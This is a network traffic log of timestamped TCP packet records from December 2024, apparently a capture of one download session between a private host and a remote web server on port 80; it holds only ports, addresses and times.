Dec 16, 2024 10:37:29.501478910 CET	80	49777	185.215.113.16	192.168.2.9
Dec 16, 2024 10:37:29.501493931 CET	80	49777	185.215.113.16	192.168.2.9
Dec 16, 2024 10:37:29.501526117 CET	49777	80	192.168.2.9	185.215.113.16
Dec 16, 2024 10:37:29.502276897 CET	80	49777	185.215.113.16	192.168.2.9
Dec 16, 2024 10:37:29.502330065 CET	49777	80	192.168.2.9	185.215.113.16
Dec 16, 2024 10:37:29.503201962 CET	80	49777	185.215.113.16	192.168.2.9
Dec 16, 2024 10:37:29.503218889 CET	80	49777	185.215.113.16	192.168.2.9
Dec 16, 2024 10:37:29.503259897 CET	49777	80	192.168.2.9	185.215.113.16
Dec 16, 2024 10:37:29.504050970 CET	80	49777	185.215.113.16	192.168.2.9
Dec 16, 2024 10:37:29.504065990 CET	80	49777	185.215.113.16	192.168.2.9
Dec 16, 2024 10:37:29.504112959 CET	49777	80	192.168.2.9	185.215.113.16
Dec 16, 2024 10:37:29.504988909 CET	80	49777	185.215.113.16	192.168.2.9
Dec 16, 2024 10:37:29.505004883 CET	80	49777	185.215.113.16	192.168.2.9
Dec 16, 2024 10:37:29.505052090 CET	49777	80	192.168.2.9	185.215.113.16
Dec 16, 2024 10:37:29.505565882 CET	80	49777	185.215.113.16	192.168.2.9
Dec 16, 2024 10:37:29.506074905 CET	80	49777	185.215.113.16	192.168.2.9
Dec 16, 2024 10:37:29.506125927 CET	49777	80	192.168.2.9	185.215.113.16
Dec 16, 2024 10:37:29.506171942 CET	80	49777	185.215.113.16	192.168.2.9
Dec 16, 2024 10:37:29.506817102 CET	80	49777	185.215.113.16	192.168.2.9
Dec 16, 2024 10:37:29.506833076 CET	80	49777	185.215.113.16	192.168.2.9
Dec 16, 2024 10:37:29.506863117 CET	49777	80	192.168.2.9	185.215.113.16
Dec 16, 2024 10:37:29.507704020 CET	80	49777	185.215.113.16	192.168.2.9
Dec 16, 2024 10:37:29.507720947 CET	80	49777	185.215.113.16	192.168.2.9
Dec 16, 2024 10:37:29.507752895 CET	49777	80	192.168.2.9	185.215.113.16
Dec 16, 2024 10:37:29.508450985 CET	80	49777	185.215.113.16	192.168.2.9
Dec 16, 2024 10:37:29.508502007 CET	49777	80	192.168.2.9	185.215.113.16
Dec 16, 2024 10:37:29.509335995 CET	80	49777	185.215.113.16	192.168.2.9
Dec 16, 2024 10:37:29.509351969 CET	80	49777	185.215.113.16	192.168.2.9
Dec 16, 2024 10:37:29.509401083 CET	49777	80	192.168.2.9	185.215.113.16
Dec 16, 2024 10:37:29.509814024 CET	80	49777	185.215.113.16	192.168.2.9
Dec 16, 2024 10:37:29.510348082 CET	80	49777	185.215.113.16	192.168.2.9
Dec 16, 2024 10:37:29.510364056 CET	80	49777	185.215.113.16	192.168.2.9
Dec 16, 2024 10:37:29.510396957 CET	49777	80	192.168.2.9	185.215.113.16
Dec 16, 2024 10:37:29.511159897 CET	80	49777	185.215.113.16	192.168.2.9
Dec 16, 2024 10:37:29.511213064 CET	49777	80	192.168.2.9	185.215.113.16
Dec 16, 2024 10:37:29.511492968 CET	80	49777	185.215.113.16	192.168.2.9
Dec 16, 2024 10:37:29.512118101 CET	80	49777	185.215.113.16	192.168.2.9
Dec 16, 2024 10:37:29.512134075 CET	80	49777	185.215.113.16	192.168.2.9
Dec 16, 2024 10:37:29.512171030 CET	49777	80	192.168.2.9	185.215.113.16
Dec 16, 2024 10:37:29.513005972 CET	80	49777	185.215.113.16	192.168.2.9
Dec 16, 2024 10:37:29.513022900 CET	80	49777	185.215.113.16	192.168.2.9
Dec 16, 2024 10:37:29.513057947 CET	49777	80	192.168.2.9	185.215.113.16
Dec 16, 2024 10:37:29.513811111 CET	80	49777	185.215.113.16	192.168.2.9
Dec 16, 2024 10:37:29.513863087 CET	49777	80	192.168.2.9	185.215.113.16
Dec 16, 2024 10:37:29.514120102 CET	80	49777	185.215.113.16	192.168.2.9
Dec 16, 2024 10:37:29.514727116 CET	80	49777	185.215.113.16	192.168.2.9
Dec 16, 2024 10:37:29.514775991 CET	49777	80	192.168.2.9	185.215.113.16
Dec 16, 2024 10:37:29.514864922 CET	80	49777	185.215.113.16	192.168.2.9
Dec 16, 2024 10:37:29.515782118 CET	80	49777	185.215.113.16	192.168.2.9
Dec 16, 2024 10:37:29.515850067 CET	49777	80	192.168.2.9	185.215.113.16
Dec 16, 2024 10:37:29.516102076 CET	80	49777	185.215.113.16	192.168.2.9
Dec 16, 2024 10:37:29.516592979 CET	80	49777	185.215.113.16	192.168.2.9
Dec 16, 2024 10:37:29.516608000 CET	80	49777	185.215.113.16	192.168.2.9
Dec 16, 2024 10:37:29.516635895 CET	49777	80	192.168.2.9	185.215.113.16
Dec 16, 2024 10:37:29.517446995 CET	80	49777	185.215.113.16	192.168.2.9
Dec 16, 2024 10:37:29.517462015 CET	80	49777	185.215.113.16	192.168.2.9
Dec 16, 2024 10:37:29.517508984 CET	49777	80	192.168.2.9	185.215.113.16
Dec 16, 2024 10:37:29.518354893 CET	80	49777	185.215.113.16	192.168.2.9
Dec 16, 2024 10:37:29.518369913 CET	80	49777	185.215.113.16	192.168.2.9
Dec 16, 2024 10:37:29.518402100 CET	49777	80	192.168.2.9	185.215.113.16
Dec 16, 2024 10:37:29.519256115 CET	80	49777	185.215.113.16	192.168.2.9
Dec 16, 2024 10:37:29.519270897 CET	80	49777	185.215.113.16	192.168.2.9
Dec 16, 2024 10:37:29.519300938 CET	49777	80	192.168.2.9	185.215.113.16
Dec 16, 2024 10:37:29.520144939 CET	80	49777	185.215.113.16	192.168.2.9
Dec 16, 2024 10:37:29.520160913 CET	80	49777	185.215.113.16	192.168.2.9
Dec 16, 2024 10:37:29.520183086 CET	49777	80	192.168.2.9	185.215.113.16
Dec 16, 2024 10:37:29.521054029 CET	80	49777	185.215.113.16	192.168.2.9
Dec 16, 2024 10:37:29.521070004 CET	80	49777	185.215.113.16	192.168.2.9
Dec 16, 2024 10:37:29.521099091 CET	49777	80	192.168.2.9	185.215.113.16
Dec 16, 2024 10:37:29.521816015 CET	80	49777	185.215.113.16	192.168.2.9
Dec 16, 2024 10:37:29.521872997 CET	49777	80	192.168.2.9	185.215.113.16
Dec 16, 2024 10:37:29.522010088 CET	80	49777	185.215.113.16	192.168.2.9
Dec 16, 2024 10:37:29.522106886 CET	49777	80	192.168.2.9	185.215.113.16
Dec 16, 2024 10:37:29.522893906 CET	80	49777	185.215.113.16	192.168.2.9
Dec 16, 2024 10:37:29.522911072 CET	80	49777	185.215.113.16	192.168.2.9
Dec 16, 2024 10:37:29.522941113 CET	49777	80	192.168.2.9	185.215.113.16
Dec 16, 2024 10:37:29.523622036 CET	80	49777	185.215.113.16	192.168.2.9
Dec 16, 2024 10:37:29.523674011 CET	49777	80	192.168.2.9	185.215.113.16
Dec 16, 2024 10:37:29.523905039 CET	80	49777	185.215.113.16	192.168.2.9
Dec 16, 2024 10:37:29.524612904 CET	80	49777	185.215.113.16	192.168.2.9
Dec 16, 2024 10:37:29.524626970 CET	80	49777	185.215.113.16	192.168.2.9
Dec 16, 2024 10:37:29.524671078 CET	49777	80	192.168.2.9	185.215.113.16
Dec 16, 2024 10:37:29.525502920 CET	80	49777	185.215.113.16	192.168.2.9
Dec 16, 2024 10:37:29.525517941 CET	80	49777	185.215.113.16	192.168.2.9
Dec 16, 2024 10:37:29.525556087 CET	49777	80	192.168.2.9	185.215.113.16
Dec 16, 2024 10:37:29.526307106 CET	80	49777	185.215.113.16	192.168.2.9
Dec 16, 2024 10:37:29.526371002 CET	49777	80	192.168.2.9	185.215.113.16
Dec 16, 2024 10:37:29.526410103 CET	80	49777	185.215.113.16	192.168.2.9
Dec 16, 2024 10:37:29.527215958 CET	80	49777	185.215.113.16	192.168.2.9
Dec 16, 2024 10:37:29.527231932 CET	80	49777	185.215.113.16	192.168.2.9
Dec 16, 2024 10:37:29.527260065 CET	49777	80	192.168.2.9	185.215.113.16
Dec 16, 2024 10:37:29.528204918 CET	80	49777	185.215.113.16	192.168.2.9
Dec 16, 2024 10:37:29.528270006 CET	49777	80	192.168.2.9	185.215.113.16
Dec 16, 2024 10:37:29.528588057 CET	80	49777	185.215.113.16	192.168.2.9
Dec 16, 2024 10:37:29.529020071 CET	80	49777	185.215.113.16	192.168.2.9
Dec 16, 2024 10:37:29.529035091 CET	80	49777	185.215.113.16	192.168.2.9
Dec 16, 2024 10:37:29.529063940 CET	49777	80	192.168.2.9	185.215.113.16
Dec 16, 2024 10:37:29.529936075 CET	80	49777	185.215.113.16	192.168.2.9
Dec 16, 2024 10:37:29.529952049 CET	80	49777	185.215.113.16	192.168.2.9
Dec 16, 2024 10:37:29.529982090 CET	49777	80	192.168.2.9	185.215.113.16
Dec 16, 2024 10:37:29.582782030 CET	49777	80	192.168.2.9	185.215.113.16
Dec 16, 2024 10:37:29.599796057 CET	49777	80	192.168.2.9	185.215.113.16
Dec 16, 2024 10:37:29.676059008 CET	80	49777	185.215.113.16	192.168.2.9
Dec 16, 2024 10:37:29.676083088 CET	80	49777	185.215.113.16	192.168.2.9
Dec 16, 2024 10:37:29.676167011 CET	49777	80	192.168.2.9	185.215.113.16
Dec 16, 2024 10:37:29.676420927 CET	80	49777	185.215.113.16	192.168.2.9
Dec 16, 2024 10:37:29.676439047 CET	80	49777	185.215.113.16	192.168.2.9
Dec 16, 2024 10:37:29.676532030 CET	49777	80	192.168.2.9	185.215.113.16
Dec 16, 2024 10:37:29.677351952 CET	80	49777	185.215.113.16	192.168.2.9
Dec 16, 2024 10:37:29.677371979 CET	80	49777	185.215.113.16	192.168.2.9
Dec 16, 2024 10:37:29.677596092 CET	49777	80	192.168.2.9	185.215.113.16
Dec 16, 2024 10:37:29.677618980 CET	80	49777	185.215.113.16	192.168.2.9
Dec 16, 2024 10:37:29.678267002 CET	80	49777	185.215.113.16	192.168.2.9
Dec 16, 2024 10:37:29.678314924 CET	49777	80	192.168.2.9	185.215.113.16
Dec 16, 2024 10:37:29.679121971 CET	80	49777	185.215.113.16	192.168.2.9
Dec 16, 2024 10:37:29.679137945 CET	80	49777	185.215.113.16	192.168.2.9
Dec 16, 2024 10:37:29.679205894 CET	49777	80	192.168.2.9	185.215.113.16
Dec 16, 2024 10:37:29.679363012 CET	80	49777	185.215.113.16	192.168.2.9
Dec 16, 2024 10:37:29.680110931 CET	80	49777	185.215.113.16	192.168.2.9
Dec 16, 2024 10:37:29.680125952 CET	80	49777	185.215.113.16	192.168.2.9
Dec 16, 2024 10:37:29.680161953 CET	49777	80	192.168.2.9	185.215.113.16
Dec 16, 2024 10:37:29.680996895 CET	80	49777	185.215.113.16	192.168.2.9
Dec 16, 2024 10:37:29.681011915 CET	80	49777	185.215.113.16	192.168.2.9
Dec 16, 2024 10:37:29.681371927 CET	49777	80	192.168.2.9	185.215.113.16
Dec 16, 2024 10:37:29.681899071 CET	80	49777	185.215.113.16	192.168.2.9
Dec 16, 2024 10:37:29.682228088 CET	49777	80	192.168.2.9	185.215.113.16
Dec 16, 2024 10:37:29.682753086 CET	80	49777	185.215.113.16	192.168.2.9
Dec 16, 2024 10:37:29.682768106 CET	80	49777	185.215.113.16	192.168.2.9
Dec 16, 2024 10:37:29.682816982 CET	49777	80	192.168.2.9	185.215.113.16
Dec 16, 2024 10:37:29.682845116 CET	80	49777	185.215.113.16	192.168.2.9
Dec 16, 2024 10:37:29.683696985 CET	80	49777	185.215.113.16	192.168.2.9
Dec 16, 2024 10:37:29.683712006 CET	80	49777	185.215.113.16	192.168.2.9
Dec 16, 2024 10:37:29.683744907 CET	49777	80	192.168.2.9	185.215.113.16
Dec 16, 2024 10:37:29.684637070 CET	80	49777	185.215.113.16	192.168.2.9
Dec 16, 2024 10:37:29.684652090 CET	80	49777	185.215.113.16	192.168.2.9
Dec 16, 2024 10:37:29.684833050 CET	49777	80	192.168.2.9	185.215.113.16
Dec 16, 2024 10:37:29.685364962 CET	80	49777	185.215.113.16	192.168.2.9
Dec 16, 2024 10:37:29.685412884 CET	49777	80	192.168.2.9	185.215.113.16
Dec 16, 2024 10:37:29.686197042 CET	80	49777	185.215.113.16	192.168.2.9
Dec 16, 2024 10:37:29.686345100 CET	80	49777	185.215.113.16	192.168.2.9
Dec 16, 2024 10:37:29.686361074 CET	80	49777	185.215.113.16	192.168.2.9
Dec 16, 2024 10:37:29.686389923 CET	49777	80	192.168.2.9	185.215.113.16
Dec 16, 2024 10:37:29.687230110 CET	80	49777	185.215.113.16	192.168.2.9
Dec 16, 2024 10:37:29.687246084 CET	80	49777	185.215.113.16	192.168.2.9
Dec 16, 2024 10:37:29.687335968 CET	49777	80	192.168.2.9	185.215.113.16
Dec 16, 2024 10:37:29.688136101 CET	80	49777	185.215.113.16	192.168.2.9
Dec 16, 2024 10:37:29.688153028 CET	80	49777	185.215.113.16	192.168.2.9
Dec 16, 2024 10:37:29.688286066 CET	49777	80	192.168.2.9	185.215.113.16
Dec 16, 2024 10:37:29.688286066 CET	49777	80	192.168.2.9	185.215.113.16
Dec 16, 2024 10:37:29.689001083 CET	80	49777	185.215.113.16	192.168.2.9
Dec 16, 2024 10:37:29.689016104 CET	80	49777	185.215.113.16	192.168.2.9
Dec 16, 2024 10:37:29.689050913 CET	49777	80	192.168.2.9	185.215.113.16
Dec 16, 2024 10:37:29.689887047 CET	80	49777	185.215.113.16	192.168.2.9
Dec 16, 2024 10:37:29.689903021 CET	80	49777	185.215.113.16	192.168.2.9
Dec 16, 2024 10:37:29.690309048 CET	49777	80	192.168.2.9	185.215.113.16
Dec 16, 2024 10:37:29.690778017 CET	80	49777	185.215.113.16	192.168.2.9
Dec 16, 2024 10:37:29.690793991 CET	80	49777	185.215.113.16	192.168.2.9
Dec 16, 2024 10:37:29.690823078 CET	49777	80	192.168.2.9	185.215.113.16
Dec 16, 2024 10:37:29.691662073 CET	80	49777	185.215.113.16	192.168.2.9
Dec 16, 2024 10:37:29.691708088 CET	49777	80	192.168.2.9	185.215.113.16
Dec 16, 2024 10:37:29.691725016 CET	80	49777	185.215.113.16	192.168.2.9
Dec 16, 2024 10:37:29.692513943 CET	80	49777	185.215.113.16	192.168.2.9
Dec 16, 2024 10:37:29.692671061 CET	49777	80	192.168.2.9	185.215.113.16
Dec 16, 2024 10:37:29.692718029 CET	80	49777	185.215.113.16	192.168.2.9
Dec 16, 2024 10:37:29.693535089 CET	80	49777	185.215.113.16	192.168.2.9
Dec 16, 2024 10:37:29.693551064 CET	80	49777	185.215.113.16	192.168.2.9
Dec 16, 2024 10:37:29.693608999 CET	49777	80	192.168.2.9	185.215.113.16
Dec 16, 2024 10:37:29.694273949 CET	80	49777	185.215.113.16	192.168.2.9
Dec 16, 2024 10:37:29.694319963 CET	49777	80	192.168.2.9	185.215.113.16
Dec 16, 2024 10:37:29.694742918 CET	80	49777	185.215.113.16	192.168.2.9
Dec 16, 2024 10:37:29.695199013 CET	80	49777	185.215.113.16	192.168.2.9
Dec 16, 2024 10:37:29.695240974 CET	49777	80	192.168.2.9	185.215.113.16
Dec 16, 2024 10:37:29.695353985 CET	80	49777	185.215.113.16	192.168.2.9
Dec 16, 2024 10:37:29.696170092 CET	80	49777	185.215.113.16	192.168.2.9
Dec 16, 2024 10:37:29.696249008 CET	49777	80	192.168.2.9	185.215.113.16
Dec 16, 2024 10:37:29.696266890 CET	80	49777	185.215.113.16	192.168.2.9
Dec 16, 2024 10:37:29.697035074 CET	80	49777	185.215.113.16	192.168.2.9
Dec 16, 2024 10:37:29.697087049 CET	49777	80	192.168.2.9	185.215.113.16
Dec 16, 2024 10:37:29.697108984 CET	80	49777	185.215.113.16	192.168.2.9
Dec 16, 2024 10:37:29.698067904 CET	80	49777	185.215.113.16	192.168.2.9
Dec 16, 2024 10:37:29.698126078 CET	49777	80	192.168.2.9	185.215.113.16
Dec 16, 2024 10:37:29.698878050 CET	80	49777	185.215.113.16	192.168.2.9
Dec 16, 2024 10:37:29.698893070 CET	80	49777	185.215.113.16	192.168.2.9
Dec 16, 2024 10:37:29.698937893 CET	49777	80	192.168.2.9	185.215.113.16
Dec 16, 2024 10:37:29.699232101 CET	80	49777	185.215.113.16	192.168.2.9
Dec 16, 2024 10:37:29.699928045 CET	80	49777	185.215.113.16	192.168.2.9
Dec 16, 2024 10:37:29.699944019 CET	80	49777	185.215.113.16	192.168.2.9
Dec 16, 2024 10:37:29.699986935 CET	49777	80	192.168.2.9	185.215.113.16
Dec 16, 2024 10:37:29.700726986 CET	80	49777	185.215.113.16	192.168.2.9
Dec 16, 2024 10:37:29.700742006 CET	80	49777	185.215.113.16	192.168.2.9
Dec 16, 2024 10:37:29.700783968 CET	49777	80	192.168.2.9	185.215.113.16
Dec 16, 2024 10:37:29.701477051 CET	80	49777	185.215.113.16	192.168.2.9
Dec 16, 2024 10:37:29.701698065 CET	49777	80	192.168.2.9	185.215.113.16
Dec 16, 2024 10:37:29.701771975 CET	80	49777	185.215.113.16	192.168.2.9
Dec 16, 2024 10:37:29.702398062 CET	80	49777	185.215.113.16	192.168.2.9
Dec 16, 2024 10:37:29.702414036 CET	80	49777	185.215.113.16	192.168.2.9
Dec 16, 2024 10:37:29.702447891 CET	49777	80	192.168.2.9	185.215.113.16
Dec 16, 2024 10:37:29.703337908 CET	80	49777	185.215.113.16	192.168.2.9
Dec 16, 2024 10:37:29.703353882 CET	80	49777	185.215.113.16	192.168.2.9
Dec 16, 2024 10:37:29.703385115 CET	49777	80	192.168.2.9	185.215.113.16
Dec 16, 2024 10:37:29.704231977 CET	80	49777	185.215.113.16	192.168.2.9
Dec 16, 2024 10:37:29.704247952 CET	80	49777	185.215.113.16	192.168.2.9
Dec 16, 2024 10:37:29.704380035 CET	49777	80	192.168.2.9	185.215.113.16
Dec 16, 2024 10:37:29.704778910 CET	49777	80	192.168.2.9	185.215.113.16
Dec 16, 2024 10:37:29.704979897 CET	80	49777	185.215.113.16	192.168.2.9
Dec 16, 2024 10:37:29.705415010 CET	49777	80	192.168.2.9	185.215.113.16
Dec 16, 2024 10:37:29.705440044 CET	80	49777	185.215.113.16	192.168.2.9
Dec 16, 2024 10:37:29.706159115 CET	80	49777	185.215.113.16	192.168.2.9
Dec 16, 2024 10:37:29.706173897 CET	80	49777	185.215.113.16	192.168.2.9
Dec 16, 2024 10:37:29.706393003 CET	49777	80	192.168.2.9	185.215.113.16
Dec 16, 2024 10:37:29.706926107 CET	80	49777	185.215.113.16	192.168.2.9
Dec 16, 2024 10:37:29.706967115 CET	49777	80	192.168.2.9	185.215.113.16
Dec 16, 2024 10:37:29.707088947 CET	80	49777	185.215.113.16	192.168.2.9
Dec 16, 2024 10:37:29.707854033 CET	80	49777	185.215.113.16	192.168.2.9
Dec 16, 2024 10:37:29.707869053 CET	80	49777	185.215.113.16	192.168.2.9
Dec 16, 2024 10:37:29.707923889 CET	49777	80	192.168.2.9	185.215.113.16
Dec 16, 2024 10:37:29.708687067 CET	80	49777	185.215.113.16	192.168.2.9
Dec 16, 2024 10:37:29.708856106 CET	49777	80	192.168.2.9	185.215.113.16
Dec 16, 2024 10:37:29.708882093 CET	80	49777	185.215.113.16	192.168.2.9
Dec 16, 2024 10:37:29.709552050 CET	80	49777	185.215.113.16	192.168.2.9
Dec 16, 2024 10:37:29.709589958 CET	49777	80	192.168.2.9	185.215.113.16
Dec 16, 2024 10:37:29.709742069 CET	80	49777	185.215.113.16	192.168.2.9
Dec 16, 2024 10:37:29.710365057 CET	80	49777	185.215.113.16	192.168.2.9
Dec 16, 2024 10:37:29.710484028 CET	49777	80	192.168.2.9	185.215.113.16
Dec 16, 2024 10:37:29.710508108 CET	80	49777	185.215.113.16	192.168.2.9
Dec 16, 2024 10:37:29.711236954 CET	80	49777	185.215.113.16	192.168.2.9
Dec 16, 2024 10:37:29.711292028 CET	49777	80	192.168.2.9	185.215.113.16
Dec 16, 2024 10:37:29.711524963 CET	80	49777	185.215.113.16	192.168.2.9
Dec 16, 2024 10:37:29.712172985 CET	80	49777	185.215.113.16	192.168.2.9
Dec 16, 2024 10:37:29.712274075 CET	49777	80	192.168.2.9	185.215.113.16
Dec 16, 2024 10:37:29.712311029 CET	80	49777	185.215.113.16	192.168.2.9
Dec 16, 2024 10:37:29.713017941 CET	80	49777	185.215.113.16	192.168.2.9
Dec 16, 2024 10:37:29.713068962 CET	49777	80	192.168.2.9	185.215.113.16
Dec 16, 2024 10:37:29.713175058 CET	80	49777	185.215.113.16	192.168.2.9
Dec 16, 2024 10:37:29.714071989 CET	80	49777	185.215.113.16	192.168.2.9
Dec 16, 2024 10:37:29.714164972 CET	49777	80	192.168.2.9	185.215.113.16
Dec 16, 2024 10:37:29.714369059 CET	80	49777	185.215.113.16	192.168.2.9
Dec 16, 2024 10:37:29.715044022 CET	80	49777	185.215.113.16	192.168.2.9
Dec 16, 2024 10:37:29.715147018 CET	49777	80	192.168.2.9	185.215.113.16
Dec 16, 2024 10:37:29.715231895 CET	80	49777	185.215.113.16	192.168.2.9
Dec 16, 2024 10:37:29.715771914 CET	80	49777	185.215.113.16	192.168.2.9
Dec 16, 2024 10:37:29.715815067 CET	49777	80	192.168.2.9	185.215.113.16
Dec 16, 2024 10:37:29.716053963 CET	80	49777	185.215.113.16	192.168.2.9
Dec 16, 2024 10:37:29.716607094 CET	80	49777	185.215.113.16	192.168.2.9
Dec 16, 2024 10:37:29.716706991 CET	49777	80	192.168.2.9	185.215.113.16
Dec 16, 2024 10:37:29.716840982 CET	80	49777	185.215.113.16	192.168.2.9
Dec 16, 2024 10:37:29.717596054 CET	80	49777	185.215.113.16	192.168.2.9
Dec 16, 2024 10:37:29.717633963 CET	49777	80	192.168.2.9	185.215.113.16
Dec 16, 2024 10:37:29.717864037 CET	80	49777	185.215.113.16	192.168.2.9
Dec 16, 2024 10:37:29.718405962 CET	80	49777	185.215.113.16	192.168.2.9
Dec 16, 2024 10:37:29.718554974 CET	49777	80	192.168.2.9	185.215.113.16
Dec 16, 2024 10:37:29.718696117 CET	80	49777	185.215.113.16	192.168.2.9
Dec 16, 2024 10:37:29.719376087 CET	80	49777	185.215.113.16	192.168.2.9
Dec 16, 2024 10:37:29.719423056 CET	49777	80	192.168.2.9	185.215.113.16
Dec 16, 2024 10:37:29.719439030 CET	80	49777	185.215.113.16	192.168.2.9
Dec 16, 2024 10:37:29.720154047 CET	80	49777	185.215.113.16	192.168.2.9
Dec 16, 2024 10:37:29.720221996 CET	49777	80	192.168.2.9	185.215.113.16
Dec 16, 2024 10:37:29.720566988 CET	80	49777	185.215.113.16	192.168.2.9
Dec 16, 2024 10:37:29.721071959 CET	80	49777	185.215.113.16	192.168.2.9
Dec 16, 2024 10:37:29.721112013 CET	49777	80	192.168.2.9	185.215.113.16
Dec 16, 2024 10:37:29.721240997 CET	80	49777	185.215.113.16	192.168.2.9
Dec 16, 2024 10:37:29.721982956 CET	80	49777	185.215.113.16	192.168.2.9
Dec 16, 2024 10:37:29.722115993 CET	49777	80	192.168.2.9	185.215.113.16
Dec 16, 2024 10:37:29.722155094 CET	80	49777	185.215.113.16	192.168.2.9
Dec 16, 2024 10:37:29.770339012 CET	49777	80	192.168.2.9	185.215.113.16
Dec 16, 2024 10:37:29.775331020 CET	49777	80	192.168.2.9	185.215.113.16
Dec 16, 2024 10:37:29.800038099 CET	49777	80	192.168.2.9	185.215.113.16
Dec 16, 2024 10:37:29.867997885 CET	80	49777	185.215.113.16	192.168.2.9
Dec 16, 2024 10:37:29.868213892 CET	80	49777	185.215.113.16	192.168.2.9
Dec 16, 2024 10:37:29.868294001 CET	49777	80	192.168.2.9	185.215.113.16
Dec 16, 2024 10:37:29.868351936 CET	80	49777	185.215.113.16	192.168.2.9
Dec 16, 2024 10:37:29.868613958 CET	80	49777	185.215.113.16	192.168.2.9
Dec 16, 2024 10:37:29.868648052 CET	80	49777	185.215.113.16	192.168.2.9
Dec 16, 2024 10:37:29.868704081 CET	49777	80	192.168.2.9	185.215.113.16
Dec 16, 2024 10:37:29.869487047 CET	80	49777	185.215.113.16	192.168.2.9
Dec 16, 2024 10:37:29.869606972 CET	49777	80	192.168.2.9	185.215.113.16
Dec 16, 2024 10:37:29.869672060 CET	80	49777	185.215.113.16	192.168.2.9
Dec 16, 2024 10:37:29.870383978 CET	80	49777	185.215.113.16	192.168.2.9
Dec 16, 2024 10:37:29.870480061 CET	49777	80	192.168.2.9	185.215.113.16
Dec 16, 2024 10:37:29.870682001 CET	80	49777	185.215.113.16	192.168.2.9
Dec 16, 2024 10:37:29.871236086 CET	80	49777	185.215.113.16	192.168.2.9
Dec 16, 2024 10:37:29.871332884 CET	49777	80	192.168.2.9	185.215.113.16
Dec 16, 2024 10:37:29.871368885 CET	80	49777	185.215.113.16	192.168.2.9
Dec 16, 2024 10:37:29.872365952 CET	80	49777	185.215.113.16	192.168.2.9
Dec 16, 2024 10:37:29.872400999 CET	80	49777	185.215.113.16	192.168.2.9
Dec 16, 2024 10:37:29.872421026 CET	49777	80	192.168.2.9	185.215.113.16
Dec 16, 2024 10:37:29.873240948 CET	80	49777	185.215.113.16	192.168.2.9
Dec 16, 2024 10:37:29.873276949 CET	80	49777	185.215.113.16	192.168.2.9
Dec 16, 2024 10:37:29.873307943 CET	49777	80	192.168.2.9	185.215.113.16
Dec 16, 2024 10:37:29.874016047 CET	80	49777	185.215.113.16	192.168.2.9
Dec 16, 2024 10:37:29.874108076 CET	49777	80	192.168.2.9	185.215.113.16
Dec 16, 2024 10:37:29.874186039 CET	80	49777	185.215.113.16	192.168.2.9
Dec 16, 2024 10:37:29.874841928 CET	80	49777	185.215.113.16	192.168.2.9
Dec 16, 2024 10:37:29.874890089 CET	49777	80	192.168.2.9	185.215.113.16
Dec 16, 2024 10:37:29.875238895 CET	80	49777	185.215.113.16	192.168.2.9
Dec 16, 2024 10:37:29.875400066 CET	49777	80	192.168.2.9	185.215.113.16
Dec 16, 2024 10:37:29.875746965 CET	80	49777	185.215.113.16	192.168.2.9
Dec 16, 2024 10:37:29.875792027 CET	49777	80	192.168.2.9	185.215.113.16
Dec 16, 2024 10:37:29.875865936 CET	80	49777	185.215.113.16	192.168.2.9
Dec 16, 2024 10:37:29.876770020 CET	80	49777	185.215.113.16	192.168.2.9
Dec 16, 2024 10:37:29.876806021 CET	80	49777	185.215.113.16	192.168.2.9
Dec 16, 2024 10:37:29.876997948 CET	49777	80	192.168.2.9	185.215.113.16
Dec 16, 2024 10:37:29.877640009 CET	80	49777	185.215.113.16	192.168.2.9
Dec 16, 2024 10:37:29.877696991 CET	49777	80	192.168.2.9	185.215.113.16
Dec 16, 2024 10:37:29.877727985 CET	80	49777	185.215.113.16	192.168.2.9
Dec 16, 2024 10:37:29.878474951 CET	80	49777	185.215.113.16	192.168.2.9
Dec 16, 2024 10:37:29.878581047 CET	49777	80	192.168.2.9	185.215.113.16
Dec 16, 2024 10:37:29.878634930 CET	80	49777	185.215.113.16	192.168.2.9
Dec 16, 2024 10:37:29.879342079 CET	80	49777	185.215.113.16	192.168.2.9
Dec 16, 2024 10:37:29.879427910 CET	49777	80	192.168.2.9	185.215.113.16
Dec 16, 2024 10:37:29.879542112 CET	80	49777	185.215.113.16	192.168.2.9
Dec 16, 2024 10:37:29.880357027 CET	80	49777	185.215.113.16	192.168.2.9
Dec 16, 2024 10:37:29.880392075 CET	80	49777	185.215.113.16	192.168.2.9
Dec 16, 2024 10:37:29.880429029 CET	49777	80	192.168.2.9	185.215.113.16
Dec 16, 2024 10:37:29.881201029 CET	80	49777	185.215.113.16	192.168.2.9
Dec 16, 2024 10:37:29.881236076 CET	80	49777	185.215.113.16	192.168.2.9
Dec 16, 2024 10:37:29.881263971 CET	49777	80	192.168.2.9	185.215.113.16
Dec 16, 2024 10:37:29.881949902 CET	80	49777	185.215.113.16	192.168.2.9
Dec 16, 2024 10:37:29.882030010 CET	49777	80	192.168.2.9	185.215.113.16
Dec 16, 2024 10:37:29.882136106 CET	80	49777	185.215.113.16	192.168.2.9
Dec 16, 2024 10:37:29.883007050 CET	80	49777	185.215.113.16	192.168.2.9
Dec 16, 2024 10:37:29.883040905 CET	80	49777	185.215.113.16	192.168.2.9
Dec 16, 2024 10:37:29.883053064 CET	49777	80	192.168.2.9	185.215.113.16
Dec 16, 2024 10:37:29.883894920 CET	80	49777	185.215.113.16	192.168.2.9
Dec 16, 2024 10:37:29.883945942 CET	49777	80	192.168.2.9	185.215.113.16
Dec 16, 2024 10:37:29.883994102 CET	80	49777	185.215.113.16	192.168.2.9
Dec 16, 2024 10:37:29.884682894 CET	80	49777	185.215.113.16	192.168.2.9
Dec 16, 2024 10:37:29.884738922 CET	49777	80	192.168.2.9	185.215.113.16
Dec 16, 2024 10:37:29.884819031 CET	80	49777	185.215.113.16	192.168.2.9
Dec 16, 2024 10:37:29.885504007 CET	80	49777	185.215.113.16	192.168.2.9
Dec 16, 2024 10:37:29.885561943 CET	49777	80	192.168.2.9	185.215.113.16
Dec 16, 2024 10:37:29.885807991 CET	80	49777	185.215.113.16	192.168.2.9
Dec 16, 2024 10:37:29.886436939 CET	80	49777	185.215.113.16	192.168.2.9
Dec 16, 2024 10:37:29.886488914 CET	49777	80	192.168.2.9	185.215.113.16
Dec 16, 2024 10:37:29.886744022 CET	80	49777	185.215.113.16	192.168.2.9
Dec 16, 2024 10:37:29.887342930 CET	80	49777	185.215.113.16	192.168.2.9
Dec 16, 2024 10:37:29.887377977 CET	80	49777	185.215.113.16	192.168.2.9
Dec 16, 2024 10:37:29.887465000 CET	49777	80	192.168.2.9	185.215.113.16
Dec 16, 2024 10:37:29.888211012 CET	80	49777	185.215.113.16	192.168.2.9
Dec 16, 2024 10:37:29.888286114 CET	49777	80	192.168.2.9	185.215.113.16
